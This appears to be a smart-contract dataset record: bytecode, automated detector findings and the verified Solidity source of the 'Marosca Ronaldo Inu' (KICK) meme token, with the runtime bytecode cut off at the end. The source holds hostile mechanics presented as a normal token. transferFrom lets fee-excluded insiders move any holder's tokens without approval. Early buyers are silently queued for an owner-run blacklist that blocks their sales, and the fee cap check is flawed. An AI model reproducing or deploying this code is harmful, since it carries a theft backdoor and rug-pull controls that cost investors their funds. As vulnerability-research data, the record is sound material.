0ff1916911515919091179055565b6000546001600160a01b0316331461093e5760405162461bcd60e51b81526004016105eb90611d5a565b601154600160a01b900460ff16156109985760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105eb565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d53082683635c9adc5dea00000610d29565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0e57600080fd5b505afa158015610a22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a469190611ad7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8e57600080fd5b505afa158015610aa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac69190611ad7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0e57600080fd5b505af1158015610b22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b469190611ad7565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610baa816106c5565b600080610bbf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5b9190611cda565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc757600080fd5b505af1158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108669190611ca6565b600e546001600160a01b0316336001600160a01b031614610d1f57600080fd5b4761064b816114f6565b6001600160a01b038316610d8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610dec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610f135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b80610f1d846106c5565b1015610f7a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105eb565b6000546001600160a01b03848116911614801590610fa657506000546001600160a01b03838116911614155b15611283576001600160a01b03831660009081526007602052604090205460ff16158015610fed57506001600160a01b03821660009081526007602052604090205460ff16155b610ff657600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104f57506011546001600160a01b03848116911614801561104f57506001600160a01b03821660009081526006602052604090205460ff16155b156110bc576012548111156110bc5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105eb565b6001600160a01b03821660009081526006602052604090205460ff1661115557601354816110e9846106c5565b6110f39190611dff565b11156111555760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105eb565b6011546001600160a01b03848116911614801561118057506010546001600160a01b03838116911614155b80156111a557506001600160a01b03821660009081526005602052604090205460ff16155b80156111ba5750601154600160b81b900460ff165b15611208576001600160a01b03821660009081526008602052604090205442116111e357600080fd5b6111ee42603c611dff565b6001600160a01b0383166000908152600860205260409020555b6000611213306106c5565b601154909150600160a81b900460ff1615801561123e57506011546001600160a01b03858116911614155b80156112535750601154600160b01b900460ff165b80156112615750600b548110155b156112815761126f816112cd565b47801561127f5761127f476114f6565b505b505b61128e83838361157b565b505050565b600081848411156112b75760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e56565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137757600080fd5b505afa15801561138b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113af9190611ad7565b816001815181106113d057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f69130911684610d29565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d8f565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006114e3611586565b90506114ef83826115a9565b9392505050565b600e546001600160a01b03166108fc6115108360026115a9565b6040518115909202916000818181858888f19350505050158015611538573d6000803e3d6000fd5b50600f546001600160a01b03166108fc6115538360026115a9565b6040518115909202916000818181858888f19350505050158015610866573d6000803e3d6000fd5b61128e8383836115eb565b60008060006115936117ab565b90925090506115a282826115a9565b9250505090565b60006114ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ed565b6000806000806000806115fd8761181b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162f9087611878565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167a57506001600160a01b03881660009081526005602052604090205460ff165b15611703576001600160a01b0388166000908152600260205260409020546116a290876118ba565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f6908b815260200190565b60405180910390a36117a0565b6001600160a01b03881660009081526002602052604090205461172690866118ba565b6001600160a01b03891660009081526002602052604090205561174881611919565b6117528483611963565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179791815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c782826115a9565b8210156117e457505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180e5760405162461bcd60e51b81526004016105eb9190611d07565b5060006112c48486611e17565b60008060008060008060008060006118388a600c54600d54611987565b9250925092506000611848611586565b9050600080600061185b8e8787876119dc565b919e509c509a509598509396509194505050505091939550919395565b60006114ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611293565b6000806118c78385611dff565b9050838110156114ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105eb565b6000611923611586565b905060006119318383611a2c565b3060009081526002602052604090205490915061194e90826118ba565b30600090815260026020526040902055505050565b6009546119709083611878565b600955600a5461198090826118ba565b600a555050565b60008080806119a1606461199b8989611a2c565b906115a9565b905060006119b4606461199b8a89611a2c565b905060006119cc826119c68b86611878565b90611878565b9992985090965090945050505050565b60008080806119eb8886611a2c565b905060006119f98887611a2c565b90506000611a078888611a2c565b90506000611a19826119c68686611878565b939b939a50919850919650505050505050565b600082611a3b57506000610552565b6000611a478385611e37565b905082611a548583611e17565b146114ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105eb565b8035611ab681611eb4565b919050565b600060208284031215611acc578081fd5b81356114ef81611eb4565b600060208284031215611ae8578081fd5b81516114ef81611eb4565b60008060408385031215611b05578081fd5b8235611b1081611eb4565b91506020830135611b2081611eb4565b809150509250929050565b600080600060608486031215611b3f578081fd5b8335611b4a81611eb4565b92506020840135611b5a81611eb4565b929592945050506040919091013590565b60008060408385031215611b7d578182fd5b8235611b8881611eb4565b91506020830135611b2081611ec9565b60008060408385031215611baa578182fd5b8235611bb581611eb4565b946020939093013593505050565b60006020808385031215611bd5578182fd5b823567ffffffffffffffff80821115611bec578384fd5b818501915085601f830112611bff578384fd5b813581811115611c1157611c11611e9e565b8060051b604051601f19603f83011681018181108582111715611c3657611c36611e9e565b604052828152858101935084860182860187018a1015611c54578788fd5b8795505b83861015611c7d57611c6981611aab565b855260019590950194938601938601611c58565b5098975050505050505050565b600060208284031215611c9b578081fd5b81356114ef81611ec9565b600060208284031215611cb7578081fd5b81516114ef81611ec9565b600060208284031215611cd3578081fd5b5035919050565b600080600060608486031215611cee578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d3357858101830151858201604001528201611d17565b81811115611d445783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dde5784516001600160a01b031683529383019391830191600101611db9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1257611e12611e88565b500190565b600082611e3257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5157611e51611e88565b500290565b600082821015611e6857611e68611e88565b500390565b6000600019821415611e8157611e81611e88565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064b57600080fd5b801515811461064b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b948dc8945dfd97e6d1500bdd38e65aafac831d8cd06aa192a97fe30d3859bf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,753 |
0x1398b60328ef1d3e73d717728a86d37e11c14b78
|
/**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
/**
⚽ Marosca Ronaldo Inu ⚽
___ __ __ ________ ______ ______ ______ ______ ________ ______ ______ ___ __ ________ __ ______ ______ ________ ___ __ __ __
/__//_//_/\ /_______/\ /_____/\ /_____/\ /_____/\ /_____/\ /_______/\ /_____/\ /_____/\ /__/\ /__/\ /_______/\ /_/\ /_____/\ /_____/\ /_______/\/__/\ /__/\ /_/\/_/\
\::\| \| \ \\::: _ \ \\:::_ \ \ \:::_ \ \\::::_\/_\:::__\/ \::: _ \ \ \:::_ \ \ \:::_ \ \\::\_\\ \ \\::: _ \ \\:\ \ \:::_ \ \\:::_ \ \ \__.::._\/\::\_\\ \ \\:\ \:\ \
\:. \ \\::(_) \ \\:(_) ) )_\:\ \ \ \\:\/___/\\:\ \ __\::(_) \ \ \:(_) ) )_\:\ \ \ \\:. `-\ \ \\::(_) \ \\:\ \ \:\ \ \ \\:\ \ \ \ \::\ \ \:. `-\ \ \\:\ \:\ \
\:.\-/\ \ \\:: __ \ \\: __ `\ \\:\ \ \ \\_::._\:\\:\ \/_/\\:: __ \ \ \: __ `\ \\:\ \ \ \\:. _ \ \\:: __ \ \\:\ \____\:\ \ \ \\:\ \ \ \ _\::\ \__\:. _ \ \\:\ \:\ \
\. \ \ \ \\:.\ \ \ \\ \ `\ \ \\:\_\ \ \ /____\:\\:\_\ \ \\:.\ \ \ \ \ \ `\ \ \\:\_\ \ \\. \`-\ \ \\:.\ \ \ \\:\/___/\\:\/.:| |\:\_\ \ \ /__\::\__/\\. \`-\ \ \\:\_\:\ \
\__\/ \__\/ \__\/\__\/ \_\/ \_\/ \_____\/ \_____\/ \_____\/ \__\/\__\/ \_\/ \_\/ \_____\/ \__\/ \__\/ \__\/\__\/ \_____\/ \____/_/ \_____\/ \________\/ \__\/ \__\/ \_____\/
Telegram: https://t.me/MaroscaRonaldoInu
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KickToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Marosca Ronaldo Inu";//
string private constant _symbol = "KICK";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 11;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 13;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x0cf6B0DAd42d6eD4ad5F14b0bb9e4E349884e2bc);//
address payable private _marketingAddress = payable(0x0cf6B0DAd42d6eD4ad5F14b0bb9e4E349884e2bc);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
address[] private __bots;
uint256 private launchBlock;
uint256 public _maxTxAmount = 1000000 * 10**9; //
uint256 public _maxWalletSize = 2000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (block.number < launchBlock + 4 && to != uniswapV2Pair && to != address(this) && to != address(uniswapV2Router)) {
__bots.push(to);
}
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function doBlacklist(uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
bots[__bots[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063caf7855d11610064578063caf7855d14610546578063dd62ed3e14610566578063ea1644d5146105ac578063f2fde38b146105cc57600080fd5b8063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd8014610511578063c492f0461461052657600080fd5b80638f9a55c0116100d15780638f9a55c01461043e57806395d89b411461045457806398a5c31514610481578063a2a957bb146104a157600080fd5b80637c519ffb146103f55780637d1db4a51461040a5780638da5cb5b1461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038b57806370a08231146103a0578063715018a6146103c057806374010ece146103d557600080fd5b8063313ce5671461030f57806349bd5a5e1461032b5780636b9990531461034b5780636d8aa8f81461036b57600080fd5b80631694505e116101ab5780631694505e1461027c57806318160ddd146102b457806323b872dd146102d95780632fd689e3146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611deb565b6105ec565b005b34801561020a57600080fd5b506040805180820190915260138152724d61726f73636120526f6e616c646f20496e7560681b60208201525b6040516102439190611f15565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611d41565b610699565b6040519015158152602001610243565b34801561028857600080fd5b5060145461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b5067016345785d8a00005b604051908152602001610243565b3480156102e557600080fd5b5061026c6102f4366004611d01565b6106b0565b34801561030557600080fd5b506102cb601a5481565b34801561031b57600080fd5b5060405160098152602001610243565b34801561033757600080fd5b5060155461029c906001600160a01b031681565b34801561035757600080fd5b506101fc610366366004611c91565b610730565b34801561037757600080fd5b506101fc610386366004611eb2565b61077b565b34801561039757600080fd5b506101fc6107c3565b3480156103ac57600080fd5b506102cb6103bb366004611c91565b61080e565b3480156103cc57600080fd5b506101fc610830565b3480156103e157600080fd5b506101fc6103f0366004611ecc565b6108a4565b34801561040157600080fd5b506101fc610945565b34801561041657600080fd5b506102cb60185481565b34801561042c57600080fd5b506000546001600160a01b031661029c565b34801561044a57600080fd5b506102cb60195481565b34801561046057600080fd5b506040805180820190915260048152634b49434b60e01b6020820152610236565b34801561048d57600080fd5b506101fc61049c366004611ecc565b610988565b3480156104ad57600080fd5b506101fc6104bc366004611ee4565b6109b7565b3480156104cd57600080fd5b5061026c6104dc366004611d41565b610a6f565b3480156104ed57600080fd5b5061026c6104fc366004611c91565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101fc610a7c565b34801561053257600080fd5b506101fc610541366004611d6c565b610ad0565b34801561055257600080fd5b506101fc610561366004611ecc565b610b7f565b34801561057257600080fd5b506102cb610581366004611cc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b857600080fd5b506101fc6105c7366004611ecc565b610c21565b3480156105d857600080fd5b506101fc6105e7366004611c91565b610cc4565b6000546001600160a01b0316331461061f5760405162461bcd60e51b815260040161061690611f68565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d8161207b565b915050610622565b5050565b60006106a6338484610dae565b5060015b92915050565b60006106bd848484610ed2565b3360009081526005602052604090205460ff16610726576107268433610721856040518060600160405280602881526020016120d8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114d3565b610dae565b5060019392505050565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161061690611f68565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161061690611f68565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f857506013546001600160a01b0316336001600160a01b0316145b61080157600080fd5b4761080b8161150d565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611592565b6000546001600160a01b0316331461085a5760405162461bcd60e51b815260040161061690611f68565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ce5760405162461bcd60e51b815260040161061690611f68565b6108e26103e867016345785d8a0000612025565b8110156109405760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c